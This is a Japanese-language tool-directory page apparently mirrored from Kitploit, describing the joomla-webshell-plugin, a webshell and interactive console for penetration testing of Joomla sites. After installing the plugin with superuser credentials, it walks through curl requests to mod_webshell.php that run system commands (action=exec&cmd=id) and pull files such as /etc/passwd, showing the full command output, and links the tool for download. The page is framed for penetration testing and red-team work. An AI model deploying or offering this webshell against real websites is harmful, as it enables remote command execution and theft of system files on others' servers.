Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Joomla-webshell-plugin — Joomla ウェブサイトのペネトレーションテスト用の webshell プラグインおよびインタラクティブシェル。 | Kitploit
ツール/GitHubGitHub/p0dalirius/joomla-webshell-plugin
エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツールペイロード開発
GitHubp0dalirius/joomla-webshell-plugin

Joomla-webshell-plugin

Joomla ウェブサイトのペネトレーションテスト用の webshell プラグインおよびインタラクティブシェル。

62934年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
リポジトリを見るウェブサイト
共有

RCE 用の Joomla webshell プラグイン

Joomla ウェブサイトをペネトレーションテストするための webshell プラグインおよびインタラクティブシェル。
GitHub release (latest by date) YouTube Channel Subscribers

機能

  • Joomla 用の webshell プラグイン。
  • ?action=exec を使用して API 経由でシステムコマンドを実行。
  • ?action=download を使用してリモートシステムから攻撃マシンへファイルをダウンロード。

使用方法

要件: Joomla インスタンスのスーパーユーザーアカウントの認証情報が必要です。

ステップ 1: webshell プラグインをアップロードする

「システム --> 拡張機能」ページ(http://127.0.0.1:10080/administrator/index.php?option=com_installer&view=install)に移動し、「_パッケージファイルをアップロード_」をクリックします:

ステップ 2.1: コマンドの実行

これで、http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php に action=exec&cmd=id を付けて GET または POST リクエストを送信することで、コマンドを実行できます:

$ curl -X POST 'http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}

ブラウザから GET リクエストでアクセスすることもできます:

ステップ 2.2: ファイルのダウンロード

また、http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php に action=download&path=/etc/passwd を付けて GET または POST リクエストを送信することで、リモートファイルをダウンロードできます:

$ curl -X POST 'http://127.0.0.1:10080/modules/mod_webshell/mod_webshell.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

ブラウザから GET リクエストでリモートファイルをダウンロードすることもできます:

ステップ 3: インタラクティブコンソール

webshell が有効になったら、インタラクティブな console.py を使用してコマンドを実行し、リモートファイルをダウンロードできます。

https://user-images.githubusercontent.com/79218792/169823449-42289f27-70a0-460b-8f40-9cecda55e6f5.mp4

参考資料

  • https://docs.joomla.org/Special:MyLanguage/J3.x:Creating_a_simple_module/Developing_a_Basic_Module
  • https://docs.joomla.org/J4.x:Creating_a_Simple_Module
ツールをダウンロード